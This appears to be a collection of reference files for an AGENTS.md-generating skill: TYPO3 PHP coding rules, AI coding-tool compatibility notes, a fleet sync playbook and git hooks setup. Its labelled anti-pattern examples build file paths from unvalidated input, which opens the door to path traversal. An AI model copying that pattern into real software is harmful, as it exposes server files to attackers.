          $file = file_get_contents('/var/www/uploads/' . $filename);
          ```
          
          ### Input Validation
          - **Type cast superglobals:** `(int)($request->getQueryParams()['id'] ?? 0)`
          - **Validate before use:** Check ranges, formats, existence
          - **Exit on error:** Use HTTP status codes with `HttpUtility::HTTP_STATUS_*`
          
          ### XSS Prevention
          - **Fluid templates:** Auto-escaping enabled by default
          - **JSON responses:** Use `JsonResponse` class
          - **Localization:** Via `LocalizationUtility::translate()`
          
          ## ✅ PR/Commit Checklist
          
          ### PHP-Specific Checks
          1. ✅ **Strict types:** `declare(strict_types=1);` in all files
          2. ✅ **Type hints:** All parameters and return types declared
          3. ✅ **PHPStan:** Zero errors (`composer ci:test:php:phpstan`)
          4. ✅ **Code style:** PSR-12/PER-CS2.0 compliant (`make format`)
          5. ✅ **Rector:** No modernization suggestions (`composer ci:test:php:rector`)
          6. ✅ **FAL usage:** No direct file system access
          7. ✅ **DI pattern:** Constructor injection, no `new ClassName()`
          8. ✅ **PSR-7:** Request/Response for controllers
          9. ✅ **Documentation:** PHPDoc for public methods
          
          ## 🎓 Good vs Bad Examples
          
          ### ✅ Good: Controller Pattern
          
          ```php
          <?php
          
          declare(strict_types=1);
          
          namespace Netresearch\RteCKEditorImage\Controller;
          
          use Psr\Http\Message\ResponseInterface;
          use Psr\Http\Message\ServerRequestInterface;
          use TYPO3\CMS\Core\Http\JsonResponse;
          use TYPO3\CMS\Core\Resource\ResourceFactory;
          
          final class SelectImageController
          {
              public function __construct(
                  private readonly ResourceFactory $resourceFactory
              ) {
              }
          
              public function infoAction(ServerRequestInterface $request): ResponseInterface
              {
                  $fileUid = (int)($request->getQueryParams()['fileId'] ?? 0);
          
                  if ($fileUid <= 0) {
                      return new JsonResponse(['error' => 'Invalid file ID'], 400);
                  }
          
                  $file = $this->resourceFactory->getFileObject($fileUid);
          
                  return new JsonResponse([
                      'uid'    => $file->getUid(),
                      'width'  => $file->getProperty('width'),
                      'height' => $file->getProperty('height'),
                  ]);
              }
          }
          ```
          
          ### ❌ Bad: Anti-patterns
          
          ```php
          <?php
          // ❌ Missing strict types
          namespace Netresearch\RteCKEditorImage\Controller;
          
          // ❌ Missing PSR-7 types
          class SelectImageController
          {
              // ❌ No constructor DI
              public function infoAction($request)
              {
                  // ❌ Direct superglobal access
                  $fileUid = $_GET['fileId'];
          
                  // ❌ No DI - manual instantiation
                  $factory = new ResourceFactory();
          
                  // ❌ No type safety, no validation
                  $file = $factory->getFileObject($fileUid);
          
                  // ❌ Manual JSON encoding
                  header('Content-Type: application/json');
                  echo json_encode(['uid' => $file->getUid()]);
                  exit;
              }
          }
          ```
          
          ### ✅ Good: EventListener Pattern
          
          ```php
          <?php
          
          declare(strict_types=1);
          
          namespace Netresearch\RteCKEditorImage\EventListener;
          
          use TYPO3\CMS\Backend\Routing\UriBuilder;
          use TYPO3\CMS\RteCKEditor\Form\Element\Event\AfterPrepareConfigurationForEditorEvent;
          
          final class RteConfigurationListener
          {
              public function __construct(
                  private readonly UriBuilder $uriBuilder
              ) {
              }
          
              public function __invoke(AfterPrepareConfigurationForEditorEvent $event): void
              {
                  $configuration = $event->getConfiguration();
                  $configuration['style']['typo3image'] = [
                      'routeUrl' => (string)$this->uriBuilder->buildUriFromRoute('rteckeditorimage_wizard_select_image'),
                  ];
                  $event->setConfiguration($configuration);
              }
          }
          ```
          
          ### ❌ Bad: EventListener Anti-pattern
          
          ```php
          <?php
          namespace Netresearch\RteCKEditorImage\EventListener;
          
          class RteConfigurationListener
          {
              // ❌ Wrong signature - not invokable
              public function handle($event)
              {
                  // ❌ Manual instantiation instead of DI
                  $uriBuilder = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(UriBuilder::class);
          
                  // ❌ Array access without type safety
                  $config = $event->getConfiguration();
                  $config['style']['typo3image']['routeUrl'] = $uriBuilder->buildUriFromRoute('rteckeditorimage_wizard_select_image');
                  $event->setConfiguration($config);
              }
          }
          ```
          
          ### ✅ Good: FAL Usage
          
          ```php
          protected function getImage(int $id): File
          {
              try {
                  $file = $this->resourceFactory->getFileObject($id);
          
                  if ($file->isDeleted() || $file->isMissing()) {
                      throw new FileNotFoundException('File not found or deleted', 1234567890);
                  }
              } catch (\Exception $e) {
                  throw new FileNotFoundException('Could not load file', 1234567891, $e);
              }
          
              return $file;
          }
          ```
          
          ### ❌ Bad: Direct File Access
          
          ```php
          // ❌ Multiple issues
          protected function getImage($id)  // Missing return type, no type hint
          {
              // ❌ Direct file system access, bypassing FAL
              $path = '/var/www/html/fileadmin/' . $id;
          
              // ❌ No validation, no error handling
              if (file_exists($path)) {
                  return file_get_contents($path);
              }
          
              return null;  // ❌ Should throw exception or return typed null
          }
          ```
          
          ## 🆘 When Stuck
          
          ### Documentation
          - **API Reference:** [docs/API/Controllers.md](../docs/API/Controllers.md) - Controller APIs
          - **Event Listeners:** [docs/API/EventListeners.md](../docs/API/EventListeners.md) - PSR-14 events
          - **Data Handling:** [docs/API/DataHandling.md](../docs/API/DataHandling.md) - Database hooks
          - **Architecture:** [docs/Architecture/Overview.md](../docs/Architecture/Overview.md) - System design
          
          ### TYPO3 Resources
          - **FAL Documentation:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Fal/Index.html
          - **PSR-14 Events:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Events/Index.html
          - **Dependency Injection:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/DependencyInjection/Index.html
          - **Controllers:** https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/Backend/Controllers/Index.html
          
          ### Common Issues
          - **ResourceFactory errors:** Check file exists, not deleted, proper UID
          - **DI not working:** Verify `Configuration/Services.yaml` registration
          - **PHPStan errors:** Update baseline: `composer ci:test:php:phpstan:baseline`
          - **Type errors:** Enable strict_types, add all type hints
          
          ## 📐 House Rules
          
          ### Controllers
          - **Extend framework controllers:** ElementBrowserController for browsers
          - **Final by default:** Use `final class` unless inheritance required
          - **PSR-7 types:** ServerRequestInterface → ResponseInterface
          - **JSON responses:** Use `JsonResponse` class
          - **Validation first:** Validate all input parameters at method start
          
          ### EventListeners
          - **Invokable:** Use `__invoke()` method signature
          - **Event type hints:** Type-hint specific event classes
          - **Immutability aware:** Get, modify, set configuration/state
          - **Final classes:** Event listeners should be final
          
          ### DataHandling
          - **Soft references:** Implement soft reference parsing for data integrity
          - **Database hooks:** Use for maintaining referential integrity
          - **Transaction safety:** Consider rollback scenarios
          
          ### Dependencies
          - **Constructor injection:** All dependencies via constructor
          - **Readonly properties:** Use `readonly` for immutable dependencies
          - **Interface over implementation:** Depend on interfaces when available
          - **GeneralUtility::makeInstance:** Only for factories or when DI unavailable
          
          ### Error Handling
          - **Type-specific exceptions:** Use TYPO3 exception hierarchy
          - **HTTP status codes:** Via HttpUtility constants
          - **Meaningful messages:** Include context in exception messages
          - **Log important errors:** Use TYPO3 logging framework
          
          ### Testing
          - **Functional tests:** For controllers, database operations
          - **Unit tests:** For utilities, isolated logic
          - **Mock FAL:** Use TYPO3 testing framework FAL mocks
          - **Test location:** `Tests/Functional/` and `Tests/Unit/`
          
          ## 🔗 Related
          
          - **[Resources/AGENTS.md](../Resources/AGENTS.md)** - JavaScript/CKEditor integration
          - **[Tests/AGENTS.md](../Tests/AGENTS.md)** - Testing patterns
          - **[Configuration/Services.yaml](../Configuration/Services.yaml)** - DI container configuration
          - **[docs/API/](../docs/API/)** - Complete API documentation
          
        • composer.json 174 B
          {
              "name": "example/t3x-rte-ckeditor-image",
              "type": "typo3-cms-extension",
              "require": {
                  "php": "^8.1",
                  "typo3/cms-core": "^12.4 || ^13.4"
              }
          }
          
    • ai-contribution-guidelines.md 2.5 KB
      # AI Agent Contribution Guidelines
      
      Guidelines for AI agents contributing to projects with AGENTS.md files. Based on the "3 Cs" framework from GitHub's open source mentorship research (March 2026).
      
      ## The 3 Cs
      
      ### Comprehension
      
      Before submitting any code change, the agent must demonstrate understanding of the problem:
      
      - Read the linked issue fully — understand the *why*, not just the symptoms
      - Check if the issue is already assigned to someone
      - Understand the trade-offs involved (performance vs readability, backwards compatibility, etc.)
      - If the issue is unclear, ask for clarification rather than guessing
      
      **Red flag**: Submitting code that "looks right" without understanding why the current behavior exists.
      
      ### Context
      
      Every PR must provide enough context for efficient review:
      
      - Link to the issue being addressed (Fixes #NNN)
      - Explain the approach taken and alternatives considered
      - If AI tools assisted the contribution, disclose this if the project requires it
      - Include test evidence (test output, before/after screenshots)
      - Note any side effects or breaking changes
      
      **Red flag**: A PR with only "Fixes the bug" as description.
      
      ### Continuity
      
      Contributions are not fire-and-forget:
      
      - Respond to review comments within a reasonable timeframe
      - Be willing to iterate on feedback
      - Don't submit to many projects simultaneously without capacity to follow up
      - If you can't continue, say so — maintainers prefer honesty over silence
      
      **Red flag**: Opening a PR and never responding to review feedback.
      
      ## Detection Patterns
      
      The agent-rules skill detects contribution requirements from:
      
      | Source | What's extracted |
      |--------|-----------------|
      | `CONTRIBUTING.md` | Issue-first requirements, AI disclosure policy |
      | PR templates (`.github/pull_request_template.md`) | Required fields (issue links, test plans) |
      | Branch protection rules | Linked issue requirements |
      | `AGENTS.md` | Agent-specific boundaries and conventions |
      
      ## What AGENTS.md Signals
      
      Having an AGENTS.md file signals:
      - The project is AI-contribution-ready
      - Agents should follow the conventions documented in the file
      - The closest AGENTS.md to the files being changed takes precedence
      - Explicit user instructions override AGENTS.md
      
      ## References
      
      - [Rethinking open source mentorship in the AI era](https://github.blog/open-source/maintainers/rethinking-open-source-mentorship-in-the-ai-era/) (GitHub Blog, March 2026)
      - [agents.md convention](https://agents.md/) — the standard our skill implements
      
    • ai-tool-compatibility.md 7.9 KB
      # AI Tool Compatibility
      
      How AGENTS.md integrates with different AI coding tools, and what mitigations are needed for each.
      
      ## Compatibility Matrix (March 2026)
      
      | Agent | Native AGENTS.md | Subdirectory Auto-Load | Own Format | Mitigation |
      |-------|:-:|:-:|---|---|
      | **Codex CLI** | Yes (creator) | Yes (best-in-class) | `AGENTS.md` | None |
      | **GitHub Copilot** | Yes | Yes | `.github/copilot-instructions.md` | None |
      | **Cursor** | Yes | Yes | `.cursor/rules/*.mdc` | None |
      | **Windsurf** | Yes | Yes (auto-scoped) | `.windsurf/rules/` | None |
      | **Devin** | Yes | Yes | AGENTS.md primary | None |
      | **Augment Code** | Yes | Yes (hierarchical) | `.augment/rules/` | None |
      | **Roo Code** | Yes | Partial (recursive) | `.roo/rules/` | None |
      | **JetBrains Junie** | Yes | Needs config path | `.junie/guidelines.md` | Set Guidelines path for monorepos |
      | **Gemini CLI** | Via config | Yes (excellent) | `GEMINI.md` | Symlink or settings.json config |
      | **Aider** | Via config | No auto-discovery | `CONVENTIONS.md` | `.aider.conf.yml` config |
      | **Claude Code** | **No** | On-demand (CLAUDE.md only) | `CLAUDE.md` | **Auto-created when `.claude/` detected** |
      | **Continue.dev** | **No** | No | `.continue/rules/` | Copy/link into rules dir |
      | **Amazon Q** | **No** | No | `.amazonq/rules/` | Copy into rules dir |
      | **Cline** | **No** | No | `.clinerules/` | Copy/link into dir |
      | **Sourcegraph Cody** | **No** | No | `.sourcegraph/*.rule.md` | Copy content |
      | **Tabnine** | **No** | No | `.tabnine/guidelines/` | Copy content |
      
      ## Symlink Strategy (Recommended)
      
      The most reliable cross-agent solution is to **symlink** agent-specific files to AGENTS.md.
      This keeps AGENTS.md as the single source of truth while enabling native loading in each tool.
      
      ### What to create
      
      At **every level** where an AGENTS.md exists (root AND subdirectories):
      
      ```bash
      # For each directory containing AGENTS.md:
      ln -s AGENTS.md CLAUDE.md    # Claude Code on-demand loading
      ln -s AGENTS.md GEMINI.md    # Gemini CLI on-demand loading
      ```
      
      ### Why subdirectory symlinks matter (verified behavior)
      
      Claude Code loads CLAUDE.md files **on demand** when the agent reads files in that directory.
      Without a CLAUDE.md symlink, subdirectory AGENTS.md files are **never auto-loaded** — even if
      the root AGENTS.md explicitly links to them and says "read nearest AGENTS.md."
      
      **Tested scenarios (March 2026):**
      
      | Setup | Result |
      |-------|--------|
      | Root CLAUDE.md symlink only, no subdirectory symlinks | Subdirectory AGENTS.md NOT loaded. Agent sees root links but does not proactively read them. |
      | Root + subdirectory CLAUDE.md symlinks | Subdirectory AGENTS.md auto-loaded when agent works in that directory. |
      | Root instructions say "read nearest AGENTS.md" | Agent acknowledges instruction but does NOT act on it without explicit prompting. |
      
      ### Commit symlinks to git
      
      Symlinks are tiny (9 bytes each) and should be committed:
      
      ```bash
      git add CLAUDE.md GEMINI.md
      git add internal/CLAUDE.md internal/GEMINI.md    # etc.
      ```
      
      They work on all platforms (Linux, macOS, Windows with `core.symlinks=true`).
      
      ## Claude Code
      
      Claude Code only reads `CLAUDE.md` files natively. AGENTS.md is not recognized.
      
      **Feature request**: [anthropics/claude-code#6235](https://github.com/anthropics/claude-code/issues/6235) (3,294+ upvotes, no official response as of March 2026).
      
      ### Loading behavior
      
      - **Root CLAUDE.md**: Auto-loaded at session start (always in context)
      - **Subdirectory CLAUDE.md**: Loaded on demand when agent reads/edits files in that directory
      - **AGENTS.md**: Never loaded natively — requires symlink
      
      ### Default behavior
      
      `generate-agents.sh` creates CLAUDE.md and GEMINI.md symlinks at every level where an AGENTS.md is
      generated. No flags required, so Claude Code and Gemini CLI users get working agent instructions out
      of the box.
      
      To opt out, pass `--no-symlinks`. It suppresses both files at every level, with no exceptions.
      
      Existing files are never taken over: a regular CLAUDE.md/GEMINI.md, or a symlink pointing anywhere
      other than AGENTS.md, is kept and reported, and only `--force` replaces it.
      
      ### Manual symlinks (if not using the generator)
      
      ```bash
      # Root
      ln -s AGENTS.md CLAUDE.md
      
      # Every subdirectory with its own AGENTS.md
      ln -s AGENTS.md src/CLAUDE.md
      ln -s AGENTS.md internal/CLAUDE.md
      ln -s AGENTS.md internal/web/CLAUDE.md
      ```
      
      ### Alternative: @import shim (root only, legacy)
      
      If you need Claude-specific overrides on top of AGENTS.md:
      
      ```markdown
      <!-- CLAUDE.md -->
      @AGENTS.md
      
      <!-- Claude-specific overrides below -->
      ```
      
      Note: `@import` only works at root level. Subdirectories still need symlinks for on-demand loading.
      
      ### Alternative: SessionStart hook
      
      For skill users only — auto-create symlinks at session start:
      
      ```json
      {
        "hooks": {
          "SessionStart": [{
            "matcher": "",
            "hooks": [{
              "type": "command",
              "command": "find . -name AGENTS.md -not -path './.git/*' | while read f; do dir=$(dirname \"$f\"); [ ! -e \"$dir/CLAUDE.md\" ] && ln -s AGENTS.md \"$dir/CLAUDE.md\"; done",
              "timeout": 5
            }]
          }]
        }
      }
      ```
      
      This only helps users who have the hook installed. Committed symlinks are more reliable.
      
      ## Google Gemini CLI
      
      Gemini CLI reads `GEMINI.md` natively with excellent hierarchical support (global, project, subdirectory).
      
      ### Mitigation options
      
      **Option A: Symlink** (recommended)
      ```bash
      ln -s AGENTS.md GEMINI.md    # At every level
      ```
      
      **Option B: settings.json config**
      ```json
      {
        "context": {
          "fileName": ["AGENTS.md", "GEMINI.md"]
        }
      }
      ```
      
      ## OpenAI Codex
      
      Codex is the creator of the AGENTS.md standard and has the best support.
      
      - **Concatenation order**: `~/.codex/AGENTS.md` → root → nested directories → current dir
      - **Override files**: `AGENTS.override.md` at any level temporarily replaces the base file
      - **Size limit**: Default 32 KiB combined (`project_doc_max_bytes`)
      - **Fallback filenames**: Configurable via `~/.codex/config.toml`
      
      **Best practices:**
      - Keep root AGENTS.md under 4 KiB (leaves room for 7+ nested files)
      - Use `--style=thin` template for optimal Codex compatibility
      - Use AGENTS.override.md for directory-specific behavior changes
      
      ## Aider
      
      Aider reads `CONVENTIONS.md` by default. AGENTS.md requires explicit configuration.
      
      ### Mitigation: .aider.conf.yml
      
      ```yaml
      # .aider.conf.yml
      read:
        - AGENTS.md
        - internal/AGENTS.md        # No auto-discovery — list each file explicitly
        - internal/web/AGENTS.md
      ```
      
      Or via CLI: `aider --read AGENTS.md`
      
      ## GitHub Copilot
      
      Full native support for AGENTS.md including subdirectories (announced August 2025).
      Also reads CLAUDE.md and GEMINI.md as fallbacks.
      
      Additionally supports its own format:
      - `.github/copilot-instructions.md` — repository-wide instructions
      - `.github/instructions/*.instructions.md` — path-scoped via YAML frontmatter `applyTo` globs
      
      ## Agents Without Native Support
      
      For **Continue.dev**, **Amazon Q**, **Cline**, **Sourcegraph Cody**, and **Tabnine**:
      
      These agents use proprietary directory formats. The only mitigation is to copy or symlink
      AGENTS.md content into their respective directories:
      
      | Agent | Target |
      |-------|--------|
      | Continue.dev | `.continue/rules/agents.md` |
      | Amazon Q | `.amazonq/rules/agents.md` |
      | Cline | `.clinerules/agents.md` |
      | Sourcegraph Cody | `.sourcegraph/agents.rule.md` |
      | Tabnine | `.tabnine/guidelines/agents.md` |
      
      Feature requests are open for most of these tools.
      
      ## Generation Script Integration
      
      `generate-agents.sh` creates `CLAUDE.md` and `GEMINI.md` symlinks **by default** at every
      level where an AGENTS.md is generated. `--no-symlinks` turns that off; there is no environment
      detection that overrides the flag.
      
      ```bash
      bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project              # Symlinks created by default
      bash ${CLAUDE_SKILL_DIR}/scripts/generate-agents.sh /path/to/project --no-symlinks # No CLAUDE.md/GEMINI.md at any level
      ```
      
      The `--claude-shim` flag creates a root-only CLAUDE.md with `@import` (legacy behavior).
      Use the default symlink behavior instead for full subdirectory support.
      
    • directory-coverage.md 2.4 KB
      # Directory Coverage for AGENTS.md
      
      Comprehensive AGENTS.md coverage means creating files in ALL key directories, not just root.
      
      ## Why Full Coverage Matters
      
      - Each directory has unique patterns and conventions
      - AI agents working in subdirectories benefit from local context
      - Reduces need to navigate up to root AGENTS.md
      
      ## Standard Directory Structure
      
      ### PHP/TYPO3 Projects
      
      | Directory | AGENTS.md Content |
      |-----------|-------------------|
      | Root | Project overview, precedence list, architecture diagram |
      | `Classes/` | DI patterns, service layer, security rules |
      | `Configuration/` | TCA, Services.yaml, module registration |
      | `Documentation/` | RST standards, directives, rendering |
      | `Resources/` | Templates, XLIFF, assets |
      | `Tests/` | Unit/functional patterns, fixtures |
      | `Tests/E2E/` | E2E-specific patterns (if exists) |
      
      ### Go Projects
      
      | Directory | AGENTS.md Content |
      |-----------|-------------------|
      | Root | Module overview, build commands |
      | `cmd/` | CLI entry points, flags |
      | `internal/` | Private packages, no export |
      | `pkg/` | Public API patterns |
      
      ### Python Projects
      
      | Directory | AGENTS.md Content |
      |-----------|-------------------|
      | Root | Project overview, pyproject.toml config |
      | `src/` | Source code patterns, type hints |
      | `tests/` | pytest conventions, fixtures, markers |
      | `scripts/` | CLI scripts, entry points |
      | `docs/` | Sphinx/MkDocs documentation standards |
      
      ### TypeScript/Node Projects
      
      | Directory | AGENTS.md Content |
      |-----------|-------------------|
      | Root | Package overview, scripts |
      | `src/` | Source patterns, imports |
      | `components/` | UI component patterns |
      | `tests/` or `__tests__/` | Testing patterns |
      
      ### Skill Repos (Claude Code Plugins)
      
      | Directory | AGENTS.md Content |
      |-----------|-------------------|
      | Root | Project overview, plugin.json, licensing |
      | `skills/<name>/` | Skill-specific patterns, SKILL.md rules |
      | `skills/<name>/scripts/` | Shell script conventions |
      | `skills/<name>/references/` | Extended documentation patterns |
      | `.github/workflows/` | CI workflow patterns (validate, auto-merge) |
      
      ## Precedence Rules
      
      Root AGENTS.md should list all child files:
      
      ```markdown
      ## Precedence
      
      1. This file (root)
      2. Directory-specific files:
         - `Classes/AGENTS.md`
         - `Configuration/AGENTS.md`
         - `Tests/AGENTS.md`
      3. Framework standards
      ```
      
      ## Anti-pattern
      
      **Wrong**: Only creating root AGENTS.md and Tests/AGENTS.md
      
      **Right**: Create AGENTS.md in EVERY directory with unique patterns
      
    • feedback-memory-schema.md 6.1 KB
      # Feedback Memory Schema
      
      How **approved session learnings** reach a repository, and the file format of
      the learning files that earlier versions of `retro-skill` wrote. This is the
      contract between `retro-skill` (which materializes learnings) and
      `agent-rules-skill` (which owns how they sit in AGENTS.md).
      
      `retro-skill` owns *what it writes and where*. This document follows it; where
      the two disagree, [retro's destination
      taxonomy](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/destination-taxonomy.md)
      wins.
      
      ## Where approved learnings go today
      
      | Destination | Target | Form |
      |---|---|---|
      | **`personal-rule`** (personal preference across projects) | `~/.claude/CLAUDE.md` | A titled rule appended to the always-loaded global rules file. Nothing lands in the repository, and nothing here manages it. |
      | **`project-rule`** (project-specific convention) | `<project>/AGENTS.md` | A titled rule appended to AGENTS.md, which is the single project rule store. |
      
      `personal-rule` was called `user-memory` in earlier versions; the old name is a
      deprecated alias `retro` still accepts as input.
      
      A rule in either target has the same shape:
      
      ```markdown
      ## <Short rule title>
      
      <1-2 sentences: what to do and why. State the trigger and the action.>
      ```
      
      **Not** `~/.claude/projects/<slug>/memory/`. That directory is cwd-scoped — a
      file written there is only recalled when the working directory resolves to the
      same project slug — so it is no longer a destination at all. It is only ever a
      *source*: `/retro promote` drains what accumulated there upward into the
      correct destination.
      
      ## Project-rule placement in AGENTS.md
      
      The rule is appended under `## Approved learnings`.
      
      ### Section position
      
      `## Approved learnings` goes **after `## Key Decisions` and before
      `## Boundaries`** in the `root-thin.md` template's section order, and
      **outside** any `<!-- AGENTS-GENERATED:START ... -->` markers, so that
      `generate-agents.sh --update` preserves it. The section is managed by
      `retro-skill`, not by the generator.
      
      ### Size
      
      AGENTS.md is an index, and the harness caps it at 150 lines (`AH-02`). When the
      section pushes against that cap, prune learnings that no longer apply or move
      them to a scoped `AGENTS.md` next to the code they govern. Growing the root
      index unbounded trades one problem for another: a 400-line AGENTS.md is read
      less carefully than a 120-line one.
      
      ## Legacy learning files
      
      Earlier versions wrote each learning to its own file —
      `<project>/docs/feedback/feedback_<slug>.md` for project rules,
      `~/.claude/projects/<slug>/memory/feedback_<slug>.md` for personal ones — with
      a one-line index entry in AGENTS.md pointing at it. Those files still exist in
      repositories and in local memory, `retro` still reads them, and `/retro
      promote` re-homes the personal ones. Nothing writes new ones.
      
      Keep reading them in this format:
      
      ```markdown
      ---
      name: <human-readable title; may be free prose>
      description: "<one-line summary; used for relevance scoring across sessions>"
      type: feedback
      originSessionId: <session-id-from-jsonl-filename>
      ---
      **Why:** <1-2 paragraphs explaining the friction and root cause>
      
      **How to apply:** <1-2 paragraphs describing how the assistant should behave next time>
      ```
      
      | Field | Required | Notes |
      |---|---|---|
      | `name` | yes | Human-readable title. May be free-form (`"Preserve commit signing on rewrite operations"`) or a short slug (`"merge strategy"`) — **not necessarily kebab-case**. The filename slug is independent of it. |
      | `description` | yes | One-line summary, ≤200 chars, used to score relevance against new friction. **MUST be double-quoted** when it contains any of `: # [ ] { } , & * ! \| > ' " % @` or leading whitespace. Safer rule: quote unconditionally. |
      | `type` | yes | Always `feedback`. |
      | `originSessionId` | recommended | Session where the friction was first observed. Its absence does not invalidate the file, only its traceability. |
      | `**Why:**` body section | yes | Start of line, exact form `**Why:**` plus a trailing space. Without it the file rots — a reader cannot judge whether it still applies. |
      | `**How to apply:**` body section | yes | Start of line, exact form `**How to apply:**` plus a trailing space. A vague rule changes no behaviour. |
      
      An extended `metadata:` block (`node_type`, `type`) appears in some files; it is
      tolerated, not required.
      
      A legacy file is valid when its frontmatter parses (PyYAML / yq), `name`,
      `description` and `type` are non-empty, both body markers are present at start
      of line, and the filename matches `feedback_<slug>.md` with a kebab-case slug.
      
      An AGENTS.md that still indexes such files keeps working — the index entry is a
      plain link, and the harness `AH-10` check verifies that it resolves. Migrating
      an existing `docs/feedback/` tree into AGENTS.md rules is optional and is not
      something this skill does automatically.
      
      ## Why the format was what it was
      
      - **Frontmatter** is machine-readable and tool-discoverable.
      - **`description`** lets retro detect duplicates and rank relevance.
      - **`Why:` + `How to apply:`** forces content that can be acted on; a vague file
        is a vague rule.
      - **`originSessionId`** traces a rule back to the friction that produced it,
        which is what makes deprecating it later possible.
      
      The current inline-rule form keeps the first, third and fourth properties in a
      smaller footprint: the rule is read where it is stored, and there is one place
      to look instead of an index plus a file.
      
      ## Validation gap (current state)
      
      `references/verification-guide.md` has no row for approved-learning sections
      yet. Until it does, `retro-skill`'s own PR-time validation of what it
      materializes is the de-facto enforcement.
      
      ## See also
      
      - [`retro-skill` destination taxonomy](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/destination-taxonomy.md) — the authoritative list of destinations and their materialization formats
      - [`retro-skill` patch workflow](https://github.com/netresearch/retro-skill/blob/main/skills/retro/references/patch-workflow.md) — how retro writes them
      - [`output-structure.md`](output-structure.md) — how AGENTS.md is laid out
      - [`verification-guide.md`](verification-guide.md) — how to validate the resulting AGENTS.md
      
    • fleet-sync-sweep.md 4.7 KB
      # Fleet Sync Sweep
      
      Bringing AGENTS.md across a whole repo fleet to one standard, in one pass. Written after the 2026-08-19 sweep over 24 `netresearch/t3x-*` repositories (17 with existing files to sync, 5 with none at all, 2 already done) — every step below either saved that sweep or was learned by breaking it.
      
      ## Shape
      
      Four phases, in this order. The expensive mistake is starting the per-repo work before the assessment exists — you then discover mid-sweep that a third of the fleet needs a different treatment.
      
      1. **Assess mechanically, all repos, before touching one.** One script that per repo fetches, resolves the default branch, creates or updates a checkout, then runs `validate-structure.sh`, `score-agents.sh` and (if the harness is in play) `verify-harness.sh`, writing one TSV row plus a per-repo log. That table is the plan: it separates the repos that need a *sync* from those that need first-time *generation*, and its before/after numbers become the report.
      2. **Write a playbook file, not a prompt.** Every trap you already know goes in one markdown file that each agent reads first. A trap explained in a prompt is explained once per agent and drifts; a playbook file is one artifact you can fix mid-sweep.
      3. **Fan out in small batches**, each agent on one repo in its own worktree.
      4. **Verify and merge in the main loop only.** Never the agent.
      
      ## The playbook file
      
      It must state, at minimum: the worktree convention with absolute paths, the exact verification commands and their pass criteria, the required sections for scoped files, the CLAUDE.md convention including directories where symlinks are forbidden, commit/PR conventions (signing, conventional commits, no bot attribution, issue-before-PR where the repo demands it), and a fixed report format the agent must end with.
      
      Two clauses do the heavy lifting:
      
      - **"Never merge."** State it as the first absolute rule. An agent that merges removes your verification step entirely, and it will merge if it can.
      - **"Verify every fact you write."** Commands against `composer.json`/`Makefile`, CI claims against the workflow file, referenced paths against the tree. Documentation drift is exactly what the sweep exists to fix; an agent inventing new drift while fixing old drift is the failure mode that looks like success.
      
      ## Batch size
      
      Cap concurrent agents at ~4. Larger fan-outs trip the global rate limiter, and a throttled agent fails in ways that look like content problems. Batches of four across six waves cost less wall-clock than one wave of twenty that half-fails.
      
      ## Verification in the main loop
      
      The per-repo scripts are necessary and not sufficient. In the 2026-08-19 sweep all three agent errors that mattered passed `validate-structure.sh` **and** `verify-harness.sh` green:
      
      | What the agent did | What caught it |
      |---|---|
      | Deleted a curated "Response Style" section to meet the line budget | reading the diff for removed `##` headings |
      | Wrote a file count into a scoped file | the repo's own convention test, red in CI |
      | Wrote a non-conventional commit subject | reading `git log --format=%s -1` |
      
      So the main-loop pass per PR is: rerun the tools yourself (never trust the reported numbers), diff every documented command against the real `composer.json`/`Makefile`, resolve every referenced path, and for each removed heading prove where its content went — see [`verification-guide.md`](verification-guide.md). Only then merge.
      
      ## Traps that cost time
      
      - **A background CI watcher dies with the worktree it was started in.** `getcwd: cannot access parent directories` after you clean up a merged repo. Start watchers from a stable directory, never from the worktree they are watching.
      - **Fast-moving repos need the rebase built into the plan.** One repo's `main` moved twice between green CI and merge; each move meant rebase, re-verify, re-watch. Arm auto-merge as soon as the gate is clean rather than after the next status read.
      - **Repo-specific tests outrank the generic rules.** One repo forbids file counts in agent docs and enforces it in its unit suite; the sweep's own "name what exists" phrasing broke it anyway. When a repo's CI red-flags generated documentation, the repo is right.
      - **A default branch is not always `main`.** Resolve it per repo (`git ls-remote --symref origin HEAD`); one `master` in the fleet breaks every hardcoded assumption at once.
      - **Local checkouts are unreliable ground truth.** Dirty, behind, or parked on someone's feature branch. Create the task worktree from `origin/<default>` and never edit the pre-existing checkout.
      
      ## Reporting
      
      Report per repo: issue URL, PR URL, gate state, checks, and the before/after numbers from phase 1. A sweep summary without the assessment numbers cannot be audited; with them, "average 68 → 96" is a claim someone can re-derive.
      
    • git-hooks-setup.md 2.4 KB
      # Git Hooks Setup for Autonomous Agents
      
      ## Why Hooks Matter
      
      Git hooks catch formatting errors, lint violations, and test failures **before commit** -- not minutes later in CI. For autonomous agents, this is critical: a failed CI run wastes time, tokens, and creates noisy fix-up commits. Hooks provide immediate feedback in the local loop.
      
      ## Detecting the Hook Framework
      
      Check for these files in the repository root:
      
      | File | Framework | Language ecosystem |
      |------|-----------|-------------------|
      | `lefthook.yml` or `.lefthook.yml` | [Lefthook](https://github.com/evilmartians/lefthook) | Any (Go binary) |
      | `captainhook.json` | [CaptainHook](https://github.com/captainhookphp/captainhook) | PHP / Composer |
      | `.husky/` directory | [Husky](https://github.com/typicode/husky) | Node.js / npm |
      | `.pre-commit-config.yaml` | [pre-commit](https://pre-commit.com/) | Python / Any |
      
      ## Setup Commands
      
      ### Lefthook
      
      ```bash
      # If a Makefile target exists (preferred)
      make setup
      
      # Otherwise install directly
      go install github.com/evilmartians/lefthook@latest
      lefthook install
      ```
      
      ### CaptainHook (PHP)
      
      ```bash
      # Hooks install automatically via Composer plugin
      composer install
      ```
      
      CaptainHook registers itself as a Composer plugin. Running `composer install` triggers the post-install hook that sets up git hooks. No extra step needed.
      
      ### Husky (Node.js)
      
      ```bash
      # Hooks install automatically via npm prepare script
      npm install
      ```
      
      Husky uses the `prepare` lifecycle script in `package.json`. Running `npm install` (or `yarn install`) automatically runs `husky install`.
      
      ### pre-commit (Python)
      
      ```bash
      pip install pre-commit
      pre-commit install
      ```
      
      Or if the project uses a virtual environment:
      
      ```bash
